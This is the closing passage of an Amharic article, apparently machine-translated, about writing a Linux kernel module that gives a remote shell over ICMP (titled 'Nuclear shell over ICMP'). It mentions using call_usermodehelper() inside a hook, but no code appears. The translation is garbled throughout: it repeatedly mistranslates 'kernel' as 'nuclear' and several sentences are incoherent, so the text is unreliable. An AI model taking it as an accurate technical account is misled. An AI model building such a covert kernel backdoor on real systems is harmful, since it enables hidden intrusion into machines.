በኒውክሌር ልማá‰ĩ የመጀመáˆĒá‹Ģ ተሞክሮá‹Ŧ ከጠበቅኩá‰ĩ በላይ ቀላል ነበርáĸ ምንም áŠĨንáŠŗን በሲ ውáˆĩáŒĨ á‹Ģለ ልምá‹ĩ áŖ በአቀናá‰ŖáˆĒ ፍንጮá‰Ŋ áŠĨና በ Google ውጤá‰ļá‰Ŋ ላይ በማተኮር áŖ የሚሰáˆĢ ሞጁል ለመፃፍ áŠĨና áŠĨንደ ከርነል ጠላፊ áŖ áŠĨና በተመáˆŗáˆŗይ ጊዜ የáˆĩክáˆĒፕá‰ĩ ልጅ ይሰማኛልáĸ በተጨማáˆĒምáŖ áŠĨንá‹ĩጠቀም ተነገረኝ ወደ Kernel Newbies á‰ģናል ሄጄ ነበርáĸ schedule_work() ከመደወል ይልቅ call_usermodehelper() መንጠቆው ውáˆĩáŒĨ áˆĢሹ áŠĨና ማጭበርበርን በመጠáˆĢጠር አáˆŗፈረውáĸ አንá‹ĩ መá‰ļ መáˆĩመር ኮá‹ĩ በáŠĨኔ ነፃ ጊዜ ውáˆĩáŒĨ አንá‹ĩ áˆŗምንá‰ĩ á‹Ģህል ልማá‰ĩ ወáŒĒ áŠĨኔን. áˆĩለ áˆĩርዓá‰ĩ ልማá‰ĩ áŠĨጅግ ውáˆĩá‰Ĩáˆĩá‰Ĩነá‰ĩ á‹Ģለኝን የግል አፈ á‰ŗáˆĒክ á‹Ģጠፋ የተáˆŗáŠĢ ተሞክሮáĸ

አንá‹ĩ ሰው በ Github ላይ የኮá‹ĩ ግምገማ ለማá‹ĩረግ ከተáˆĩማማáŖ አመáˆĩጋኝ áŠĨሆናለሁáĸ áŠĨርግጠኛ ነኝ á‰Ĩዙ ደደá‰Ĩ áˆĩህተá‰ļá‰Ŋን áŠĨንደሰáˆĢሁ áŠĨርግጠኛ ነኝ በተለይ በገመá‹ĩ áˆĩሰáˆĢáĸ

የኑክሌር áˆŧል በ ICMP ላይ

ምንጭ: hab.com

አáˆĩተá‹Ģየá‰ĩ á‹Ģክሉ